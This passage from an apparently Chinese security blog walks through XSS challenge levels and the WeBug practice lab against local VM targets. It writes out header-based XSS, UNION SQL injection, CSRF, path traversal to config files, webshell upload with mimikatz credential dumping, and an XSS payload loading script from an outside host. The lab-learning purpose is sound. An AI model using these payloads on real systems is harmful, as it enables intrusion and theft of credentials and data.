class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = $_GET[&quot;keyword&quot;];</span><br><span class="line">$str00 = $_GET[&quot;t_sort&quot;];</span><br><span class="line">$str11=$_SERVER[&apos;HTTP_REFERER&apos;];     //获取HTTP的REFERER头部信息</span><br><span class="line">$str22=str_replace(&quot;&gt;&quot;,&quot;&quot;,$str11);   //将所获取到的referer中的&gt;替换为空</span><br><span class="line">$str33=str_replace(&quot;&lt;&quot;,&quot;&quot;,$str22);    //将变量$str22中的&lt;替换成空</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form id=search&gt;</span><br><span class="line">&lt;input name=&quot;t_link&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;input name=&quot;t_history&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;input name=&quot;t_sort&quot;  value=&quot;&apos;.htmlspecialchars($str00).&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;input name=&quot;t_ref&quot;  value=&quot;&apos;.$str33.&apos;&quot; type=&quot;hidden&quot;&gt; //在这里进行注入</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>查看代码，发现可以对referer头部注入</p><p>我们burp抓包，添加Referer头部，插入payload</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">GET /xss/level11.php?keyword=good%20job! HTTP/1.1</span><br><span class="line">Host: 127.0.0.1</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">DNT: 1</span><br><span class="line">Connection: close</span><br><span class="line">Referer: &quot;onclick=alert(1) type=&quot;text&quot;  //所添加的Referer头部</span><br></pre></td></tr></table></figure><p>forward转发，关掉代理，点击页面的框即可弹窗成功！</p><h2 id="Level-12："><a href="#Level-12：" class="headerlink" title="Level 12："></a>Level 12：</h2><p>第12关和第11关蛮相似的，12关是对UA头部进行xss注入</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = $_GET[&quot;keyword&quot;];</span><br><span class="line">$str00 = $_GET[&quot;t_sort&quot;];</span><br><span class="line">$str11=$_SERVER[&apos;HTTP_USER_AGENT&apos;];</span><br><span class="line">$str22=str_replace(&quot;&gt;&quot;,&quot;&quot;,$str11);</span><br><span class="line">$str33=str_replace(&quot;&lt;&quot;,&quot;&quot;,$str22);</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form id=search&gt;</span><br><span class="line">&lt;input name=&quot;t_link&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;input name=&quot;t_history&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;input name=&quot;t_sort&quot;  value=&quot;&apos;.htmlspecialchars($str00).&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;input name=&quot;t_ua&quot;  value=&quot;&apos;.$str33.&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>payload为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">GET /xss/level12.php?keyword=good%20job! HTTP/1.1</span><br><span class="line">Host: 127.0.0.1</span><br><span class="line">User-Agent: &quot; onmouseover=alert(1)  type=&quot;text&quot;  //修改User-Agent值</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">DNT: 1</span><br><span class="line">Cookie: user=call+me+maybe%3F</span><br><span class="line">Connection: close</span><br></pre></td></tr></table></figure><h2 id="Level-13："><a href="#Level-13：" class="headerlink" title="Level 13："></a>Level 13：</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">setcookie(&quot;user&quot;, &quot;call me maybe?&quot;, time()+3600);  //setcookie函数用于向客户端发送一个cookie值</span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = $_GET[&quot;keyword&quot;];</span><br><span class="line">$str00 = $_GET[&quot;t_sort&quot;];</span><br><span class="line">$str11=$_COOKIE[&quot;user&quot;];    //使用$_COOKIE变量来取回cookie中user的值</span><br><span class="line">$str22=str_replace(&quot;&gt;&quot;,&quot;&quot;,$str11);</span><br><span class="line">$str33=str_replace(&quot;&lt;&quot;,&quot;&quot;,$str22);</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form id=search&gt;</span><br><span class="line">&lt;input name=&quot;t_link&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;input name=&quot;t_history&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;input name=&quot;t_sort&quot;  value=&quot;&apos;.htmlspecialchars($str00).&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;input name=&quot;t_cook&quot;  value=&quot;&apos;.$str33.&apos;&quot; type=&quot;hidden&quot;&gt; //再此进行注入</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>查看代码，发现是xss进行的cookie注入，那么抓包修改cookie即可</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">GET /xss/level13.php?keyword=good%20job! HTTP/1.1</span><br><span class="line">Host: 127.0.0.1</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">DNT: 1</span><br><span class="line">Cookie: user=&quot; onclick=alert(1) type=&quot;text&quot;</span><br><span class="line">Connection: close</span><br></pre></td></tr></table></figure><h2 id="Level-14："><a href="#Level-14：" class="headerlink" title="Level 14："></a>Level 14：</h2><p>查看源码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;h1 align=center&gt;欢迎来到level14&lt;/h1&gt;</span><br><span class="line">&lt;center&gt;&lt;iframe name=&quot;leftframe&quot; marginwidth=10 marginheight=10 src=&quot;http://www.exifviewer.org/&quot; frameborder=no width=&quot;80%&quot; scrolling=&quot;no&quot; height=80%&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;center&gt;这关成功后不会自动跳转。成功者&lt;a href=/xsschallenge/level15.php?src=1.gif&gt;点我进level15&lt;/a&gt;&lt;/center&gt;</span><br></pre></td></tr></table></figure><p>payload：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&gt;&lt;img src=1 onerror=alert(1)&gt;</span><br></pre></td></tr></table></figure><h2 id="Level-15："><a href="#Level-15：" class="headerlink" title="Level 15："></a>Level 15：</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = $_GET[&quot;src&quot;];</span><br><span class="line">echo &apos;&lt;body&gt;&lt;span class=&quot;ng-include:&apos;.htmlspecialchars($str).&apos;&quot;&gt;&lt;/span&gt;&lt;/body&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p><strong>ng-include</strong> 指令用于包含外部的 HTML 文件。</p><p>包含的内容将作为指定元素的子节点。</p><p><strong>ng-include</strong> 属性的值可以是一个表达式，返回一个文件名。</p><p>默认情况下，包含的文件需要包含在同一个域名下。</p><p>其payload为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">src=level1.php?name=1&apos;window.alert()</span><br></pre></td></tr></table></figure><p>或者包含第一关</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">src=&apos;level1.php?name=&lt;img src=x onerror=alert(1)&gt;&apos;</span><br></pre></td></tr></table></figure><p>参考文章：<a href="https://www.jianshu.com/p/06c644dafa0d" target="_blank" rel="noopener">https://www.jianshu.com/p/06c644dafa0d</a></p><p>​           <a href="https://www.jianshu.com/p/06c644dafa0d" target="_blank" rel="noopener">https://www.cnblogs.com/bmjoker/p/9446472.html</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="WEB安全" scheme="https://louisnie.github.io/categories/WEB%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="靶机实验" scheme="https://louisnie.github.io/tags/%E9%9D%B6%E6%9C%BA%E5%AE%9E%E9%AA%8C/"/>
    
  </entry>
  
  <entry>
    <title>WebBug靶机实验</title>
    <link href="https://louisnie.github.io/2019/02/25/WebBug%E9%9D%B6%E6%9C%BA%E5%9F%BA%E7%A1%80%E5%AE%9E%E9%AA%8C/"/>
    <id>https://louisnie.github.io/2019/02/25/WebBug靶机基础实验/</id>
    <published>2019-02-24T17:38:25.555Z</published>
    <updated>2019-03-03T14:52:06.028Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><blockquote class="blockquote-center">男儿不展同云志，空负天生八尺躯!</blockquote></p><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=526668900&auto=1&height=66"></iframe></div><h2 id="weBug环境介绍"><a href="#weBug环境介绍" class="headerlink" title="weBug环境介绍:"></a>weBug环境介绍:</h2><blockquote><p>WeBug名称定义为“我们的漏洞”靶场环境。基础环境是基于PHP/mysql制作搭建而成，中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞。所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中，这个靶场基本包括了各种各样的常见漏洞，十分适合新手入门。</p></blockquote><h2 id="WeBug安装使用"><a href="#WeBug安装使用" class="headerlink" title="WeBug安装使用:"></a>WeBug安装使用:</h2><blockquote><p>此安装包webug是3.0版本，所有的漏洞环境都已经搭建好了，解压后只要在vm虚拟机内打开，就可直接使用测试，无需繁琐的环境配置。<br>具体操作：用winrar将安装包解压，用VM虚拟机打开解压文件里的win2003虚拟机文件。进入虚拟机系统后，打开命令行，输入：ipconfig，查看虚拟机的IP地址，然后直接在物理机的浏览器上输入该IP地址，就可以直接进入靶场了。</p></blockquote><h2 id="WeBug包含的漏洞"><a href="#WeBug包含的漏洞" class="headerlink" title="WeBug包含的漏洞:"></a>WeBug包含的漏洞:</h2><blockquote><p>目前该靶场包含以下漏洞（超全！特别适合练手）:<br>get注入；图片破解；信息收集练习——目录端口收集；暴力破解练习；x-forwarded-for注入；支付漏洞；垂直越权；CSRF；url跳转；GET任意文件下载；POST任意文件下载；无验证上传；反射型XSS；存储型XSS；校验扩展名上传；验证来源去向的url跳转；文件包含；POST文件包含；HOST注入；APK破解；延时注入；DZ7.2论坛sql注入；aspcms注入；phpmyadmin任意文件包含漏洞；齐博系统SQL注入；海盗云商getshell；PHP168任意代码执行GET SHELL；ecshop 注入；ShopXp系统SQL注射漏洞；Dcore(轻型CMS系统)注入漏洞；MetInfo 任意文件包含漏洞可getshell；Metinfo news.php盲注；Metinfo img.php盲注；万众电子期刊在线阅读系统PHP和ASP最新版本通杀SQL注入；BEESCMS sql注入，无视防御；ourphp 注入；phpwind 命令执行漏洞；metinfo  任意用户密码修改；DZ 3.2 存储型XSS；DedeCMS flink.php友情链接注入；DedeCms?recommend.php注入；BEESCMS 小于等于V4四处注入+无需密码直接进后台；海洋 x-forwarded-for注入；php截断利用；st2-016；jboss命令执行；tomcat弱口令；hfs远程命令执行；st2-052命令执行；flash远程命令执行；gh0st远程溢出；IIS6.0远程溢出<br>下载链接：<a href="https://pan.baidu.com/s/1h5tfc918DkLgk1fUAlnWNQ" target="_blank" rel="noopener">https://pan.baidu.com/s/1h5tfc918DkLgk1fUAlnWNQ</a><br>提取码：cfyr </p></blockquote><h2 id="第一关-普通的GET注入"><a href="#第一关-普通的GET注入" class="headerlink" title="第一关:普通的GET注入"></a>第一关:普通的GET注入</h2><p>提交id为1,出现编号1的商品,输入1’,系统出现查询数据库错误的提示<br><img src="https://wx2.sinaimg.cn/large/0078beR7ly1fz49iroc6rj31cw0cmq4d.jpg" alt="image"><br>那么接下来爆系统SQL语句查询的字段个数,其payload为:<br>1’ order by 5–+<br><img src="https://ws1.sinaimg.cn/large/0078beR7ly1fz49jkz2brj30mw0bqaad.jpg" alt="image"><br>将数字5换成4,结果返回正常,证明其查询的字段数是4个</p><p>然后爆字段所在位置,其payload为:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.239.131/pentest/test/sqli/sqltamp.php?gid=1&apos;  union select 1,2,3,4--+</span><br></pre></td></tr></table></figure></p><p>得到查询的字段分别位于”编号”,”名称”,”价格”,”数量”的位置<br><img src="https://wx3.sinaimg.cn/large/0078beR7ly1fz49ltvkahj30pr0hcjs4.jpg" alt="image"></p><p>查询当前用户,数据库版本,当前数据库名,其payload为:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.239.131/pentest/test/sqli/sqltamp.php?gid=1&apos;  union select 1,user(),version(),database()--+</span><br></pre></td></tr></table></figure></p><p>当前用户:root@localhost<br>版本为:5.5.53<br>数据库名:pentesterlab<br>查所有数据库库名:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.239.131/pentest/test/sqli/sqltamp.php?gid=1&apos;  union select 1,2,3,group_concat(schema_name)from information_schema.schemata --+</span><br></pre></td></tr></table></figure></p><p>得到的数据库为:<br>information_schema,beecms,dedecmsv57gbk,dedecmsv57gbksp1,deescms,discuz,<br>ecshop1,haidao,hiwiki,merinfo3,metinfo1,metinfo2,metinfoxiugai,mysql,<br>ourphp,pentesterlab,performance_schema,php168,phpwind,qibo,seacms,<br>test,ultrax,wanzhong,wiki,wiki11</p><p>查当前数据库中的表:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.239.131/pentest/test/sqli/sqltamp.php?gid=1&apos;  union select 1,2,3,group_concat(table_name)from information_schema.tables where table_schema=&apos;pentesterlab&apos;--+</span><br></pre></td></tr></table></figure></p><p>得到的当前数据库pentesterlab中的所有表名:comment,flag,goods,user</p><p>查找flag表中的列名:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.239.131/pentest/test/sqli/sqltamp.php?gid=1&apos;  union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name=&apos;flag&apos;--+</span><br></pre></td></tr></table></figure></p><p>结果为:id,flag<br>查看其值:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.239.131/pentest/test/sqli/sqltamp.php?gid=1&apos;  union select 1,2,3,group_concat(id,0x7e,flag)from flag--+</span><br></pre></td></tr></table></figure></p><p>结果为:<br>1~204f704fbbcf6acf398ffee11989b377</p><h2 id="第二关-从图中你能找到什么"><a href="#第二关-从图中你能找到什么" class="headerlink" title="第二关: 从图中你能找到什么?"></a>第二关: 从图中你能找到什么?</h2><p>将图片保存到本地,notepad++打开就发现密码啦,官方说这道题有问题….<br><img src="https://wx1.sinaimg.cn/large/0078beR7ly1fz49p6ni54j30fz04sglt.jpg" alt="image"></p><h2 id="第三关-你看到了什么"><a href="#第三关-你看到了什么" class="headerlink" title="第三关:你看到了什么?"></a>第三关:你看到了什么?</h2><p>查看源代码,原来是要扫目录呀,我用的是Windows系统,直接用御剑跑,Linux下可以用dirb或者dirbuster去跑</p><p>扫到了这个test目录,得到提示把目录名md5加密<br><img src="https://ws3.sinaimg.cn/large/0078beR7ly1fz49qx72ccj30nz0bdt9h.jpg" alt="image"><br>访问加密后的值得到flag<br><img src="https://ws1.sinaimg.cn/large/0078beR7ly1fz49rsttp7j30xi0f2q5d.jpg" alt="image"></p><h2 id="第四关-告诉你了FLAG是5位数"><a href="#第四关-告诉你了FLAG是5位数" class="headerlink" title="第四关:告诉你了FLAG是5位数"></a>第四关:告诉你了FLAG是5位数</h2><p>遇到表单上burp爆破<br><img src="https://wx2.sinaimg.cn/large/0078beR7ly1fz49tu3be9j30nw0j10tu.jpg" alt="image"><br>得到用户名admin.密码admin123<br>但是登录了没反应,后来发现是源码有问题,作者将flag注释了……<br><img src="https://ws2.sinaimg.cn/large/0078beR7ly1fz49u05s0uj30te0ekt93.jpg" alt="image"></p><h2 id="第五关-一个优点小小的特殊的注入"><a href="#第五关-一个优点小小的特殊的注入" class="headerlink" title="第五关:一个优点小小的特殊的注入"></a>第五关:一个优点小小的特殊的注入</h2><p>X-Forwarded-For注入:<a href="http://" target="_blank" rel="noopener">https://www.freebuf.com/articles/web/164817.html</a><br>两种方式解决这个问题(原理都是一样的)<br>1,用burpsuite抓包,添加X-Forwarded-For头部,其值为union select 1,2,3,group_concat(id,0x7e,flag)from flag<br><img src="https://wx4.sinaimg.cn/large/0078beR7ly1fz49wu5v3wj30zn0h8jsl.jpg" alt="image"><br>第二种方式:使用火狐浏览器的Modify Headers,添加添加X-Forwarded-For头部,其值为union select 1,2,3,group_concat(id,0x7e,flag)from flag,确定,刷新页面即可出现所查询的值<br><img src="https://ws3.sinaimg.cn/large/0078beR7ly1fz49x135e4j31fu0na40i.jpg" alt="image"></p><h2 id="第六关-支付漏洞"><a href="#第六关-支付漏洞" class="headerlink" title="第六关:支付漏洞"></a>第六关:支付漏洞</h2><p>打开遇到个登录页面,爆破呗,得到账户名密码是tom/123456<br><img src="https://ws2.sinaimg.cn/large/0078beR7ly1fz49yoefz6j30oc07cq3c.jpg" alt="image"><br>看着很像支付漏洞,抓包修改价格为0.1元,购买成功<br><img src="https://ws4.sinaimg.cn/large/0078beR7ly1fz49zawg9nj31fk0nv48j.jpg" alt="image"></p><h2 id="第七关-越权问题"><a href="#第七关-越权问题" class="headerlink" title="第七关:越权问题"></a>第七关:越权问题</h2><p>使用系统提供的账号密码登录<br>点击修改密码,发现是以GET请求的方式传递用户名进行修改密码的操作,那么尝试将用户名修改为admin用户,看能不能越权修改管理员账号<br>payload:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.239.131/pentest/test/3/change.php?name=admin</span><br></pre></td></tr></table></figure></p><p>是可以修改admin的密码的,但是需要旧密码,</p><p>查看其源码,只要输入的两次新密码正确就可以修改啦,不对原密码进行确认:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">if($pwd2==$pwd3)&#123;</span><br><span class="line">//更新记录</span><br><span class="line">$updateSql = &quot;update user set pwd = &apos;&quot;.$pwd2.&quot;&apos; where uid=&apos;&quot;.$uid.&quot;&apos;&quot;;</span><br><span class="line"></span><br><span class="line">$result = mysql_query($updateSql);</span><br><span class="line">if($result&gt;0)&#123;</span><br><span class="line">echo &quot;&lt;script type=&apos;text/javascript&apos;&gt;alert(&apos;更改密码成功，请重新登录！&apos;);location.href=&apos;index.html&apos;&lt;/script&gt;&quot;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p><img src="https://wx2.sinaimg.cn/large/0078beR7ly1fz4a0y7p5wj30hy0b0jrm.jpg" alt="image"></p><h2 id="第八关-CSRF"><a href="#第八关-CSRF" class="headerlink" title="第八关:CSRF"></a>第八关:CSRF</h2><p>首先使用tom/123456登录,观察其URL为tom用户,将tom替换成admin即可修改管理员密码,然后输入新密码,burp抓包右键制作CSRF POC<br><img src="https://ws4.sinaimg.cn/large/0078beR7ly1fz4a1i0wtaj30te0db3zf.jpg" alt="image"><br>保存至一个HTML文件中,将访问该文件的网站链接发送给管理员,管理员一点击即可修改其密码为我刚刚修改之后的密码</p><h2 id="第九关-URL跳转"><a href="#第九关-URL跳转" class="headerlink" title="第九关:URL跳转"></a>第九关:URL跳转</h2><p>查看源码,发现index.php存在任意url跳转<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$url=$_REQUEST[&apos;url&apos;];</span><br><span class="line">if($url!=null||$url!=&quot;&quot;)&#123;</span><br><span class="line">echo &quot;&lt;script type=&apos;text/javascript&apos;&gt;alert(&apos;成功跳转！&apos;);location.href=&apos;&quot;.$url.&quot;&apos;&lt;/script&gt;&quot;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>那么其payload为:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.239.131/pentest/test/5/index.php?url=www.baidu.com</span><br></pre></td></tr></table></figure></p><h2 id="第十关-GET类型任意下载漏洞"><a href="#第十关-GET类型任意下载漏洞" class="headerlink" title="第十关:GET类型任意下载漏洞"></a>第十关:GET类型任意下载漏洞</h2><p>打开链接提示404,查看源码源码又是源码写的有问题…..<br>我们直接去访问download.php<br><img src="https://wx3.sinaimg.cn/large/0078beR7ly1fz4a347hluj313s0j9gnj.jpg" alt="image"><br>网址为:<a href="http://192.168.239.131/pentest/test/6/1/download.php" target="_blank" rel="noopener">http://192.168.239.131/pentest/test/6/1/download.php</a><br>点击下载,发现传递了一个参数fname 是下载的文件名 那么可能可以修改文件名实现任意文件下载,其payload为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.239.131/pentest/test/6/1/download.php?fname=../../../pentest/test/6/1/download.php</span><br></pre></td></tr></table></figure><p><img src="https://ws4.sinaimg.cn/large/0078beR7ly1fz4a49clxcj314o0jm11q.jpg" alt="image"><br>通过下载download.php这个文件证明存在任意文件下载漏洞,那么该去找存放管理员账号密码的文件<br>我直接使用御剑扫描其后台,发现在<a href="http://192.168.239.131/pentest/test/6/1/db/文件下存在config.php文件" target="_blank" rel="noopener">http://192.168.239.131/pentest/test/6/1/db/文件下存在config.php文件</a><br><img src="https://wx4.sinaimg.cn/large/0078beR7ly1fz4a6su1i6j30ld07qwel.jpg" alt="image"></p><p>那么构造的payload为:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.239.131/pentest/test/6/1/download.php?fname=../../../pentest/test/6/1/db/config.php</span><br></pre></td></tr></table></figure></p><p><img src="https://ws1.sinaimg.cn/large/0078beR7ly1fz4a7b93lfj30ii0bxmxm.jpg" alt="image"></p><h2 id="第11关-POST类型任意下载漏洞"><a href="#第11关-POST类型任意下载漏洞" class="headerlink" title="第11关:POST类型任意下载漏洞"></a>第11关:POST类型任意下载漏洞</h2><p>第10关是通过GET请求下载文件,第11关是通过POST请求下载文件,直接修改变量pic的值为config.php文件的路径即可<br><img src="https://ws1.sinaimg.cn/large/0078beR7ly1fz4a8l5gvaj30yc0kpwn9.jpg" alt="image"></p><h2 id="第12关-D盘找密码"><a href="#第12关-D盘找密码" class="headerlink" title="第12关:D盘找密码"></a>第12关:D盘找密码</h2><p>上传个PHP木马,确定其上传路径<br><img src="https://wx3.sinaimg.cn/large/0078beR7ly1fz4a91khr1j312e0aqq34.jpg" alt="image"><br>直接传一句话木马，上传上去后，然后在菜刀中上传mimikatz<br><img src="https://wx3.sinaimg.cn/large/0078beR7ly1fz4aagdhbsj309501e0h3.jpg" alt="image"><br>得到系统管理员登录密码为123456~<br><img src="https://ws1.sinaimg.cn/large/0078beR7ly1fz4aakp6f3j30gc078dfu.jpg" alt="image"></p><h2 id="第13关-反射型XSS"><a href="#第13关-反射型XSS" class="headerlink" title="第13关:反射型XSS"></a>第13关:反射型XSS</h2><p>构造payload:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.239.131/pentest/test/9/?id=&lt;script src=http://c7.gg/bSTkf&gt;&lt;/script&gt;</span><br></pre></td></tr></table></figure></p><p><img src="https://ws2.sinaimg.cn/large/0078beR7ly1fz4ab6can0j315x09v3zc.jpg" alt="image"></p><h2 id="第14关-存储型XSS"><a href="#第14关-存储型XSS" class="headerlink" title="第14关:存储型XSS"></a>第14关:存储型XSS</h2><p>构造payload:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;alert(/xss/)&lt;/script&gt;</span><br></pre></td></tr></table></figure></p><p><img src="https://wx1.sinaimg.cn/large/0078beR7ly1fz4ac4vqdej30g907zgmf.jpg" alt="image"></p><h2 id="第15题-上传漏洞"><a href="#第15题-上传漏洞" class="headerlink" title="第15题:上传漏洞"></a>第15题:上传漏洞</h2><p>制作一个图片马,上传,burp修改文件名为php即可成功上传<br><img src="https://ws1.sinaimg.cn/large/0078beR7ly1fz4acrxrf5j30xh0id0vu.jpg" alt="image"><br>成功解析<br><img src="https://ws4.sinaimg.cn/large/0078beR7ly1fz4ad73mnbj31gz0h8q9h.jpg" alt="image"><br>菜刀连接<br><img src="https://wx4.sinaimg.cn/large/0078beR7ly1fz4adj84dfj30wz0c50ud.jpg" alt="image"></p><h2 id="第16题-明天双十一-我从公司网络去剁手了！"><a href="#第16题-明天双十一-我从公司网络去剁手了！" class="headerlink" title="第16题:明天双十一 我从公司网络去剁手了！"></a>第16题:明天双十一 我从公司网络去剁手了！</h2><p>折腾了一会没找到答案,查看源码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span 